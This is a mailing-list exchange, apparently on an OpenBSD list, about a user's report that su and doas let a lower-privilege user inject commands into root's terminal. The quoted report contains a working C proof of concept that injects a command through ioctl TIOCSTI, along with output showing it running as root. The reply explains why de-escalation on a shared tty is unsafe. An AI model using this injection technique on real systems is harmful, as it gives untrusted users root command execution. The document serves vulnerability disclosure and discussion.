> I stumbled upon unexpected behavior on OpenBSD 6.0 (all patches)
> which seems to allow running commands as the original user when
> using su and doas interactively because the controlling terminal
> is the same.
Use of su, doas, or sudo -- means you EXPLICITLY want the tty to
remain the same.
> The following binary is used to test this and compiled as
> /tmp/a.out:
>
> #include <sys/ioctl.h>
> #include <stdio.h>
>
> char s[] =3D "echo Payload as $(whoami)\n";
>
> void main(void) {
> printf("uid: %d\n", getuid());
>
> char *c =3D s;
> int i =3D 0;
> int tty =3D open("/dev/tty", 0);
>
> do {
> ioctl(tty, TIOCSTI, c);
> c++;
> } while (*c);
>
> return;
> }
>
> Now running su builder -c /tmp/a.out (where builder is just a
> normal user with a shell) results in:
>
> # su builder -c /tmp/a.out
> uid: 1000
> echo Payload as $(whoami)
> # echo Payload as $(whoami)
> Payload as root
>
> Similar happens with doas and the following config:
>
> # cat /etc/doas.conf
> permit nopass root as builder
>
> # doas -u builder /tmp/a.out
> uid: 1000
> echo Payload as $(whoami)
> # echo Payload as $(whoami)
> Payload as root
>
> Is this behavior expected and if so, how do I run commands from
> root as an untrusted user? It's not mentioned in the man page
> that using su/doas as root might allow other users to run code as
> root.
It sounds as if you don't understand what happens.
The command gets run afterwards.
> Similar behavior is also mentioned in an old (and unfixed) Debian
> bug [1].
So what is learned here?
De-escalation using these "sudo" or "doas" like tools on a tty is
somewhat unsafe - it has always been unsafe - because tty's have
capabilities.
If you wish to be safer, do these operations without retaining access
to a tty.
Escalation on the other hand (user -> root) is different, because then
it is clear you want to do more / everything. But de-escalation is a
joke.
This is just one mechanism on tty, there are others. On other
descriptors there are other abilities.
I don't have an answer.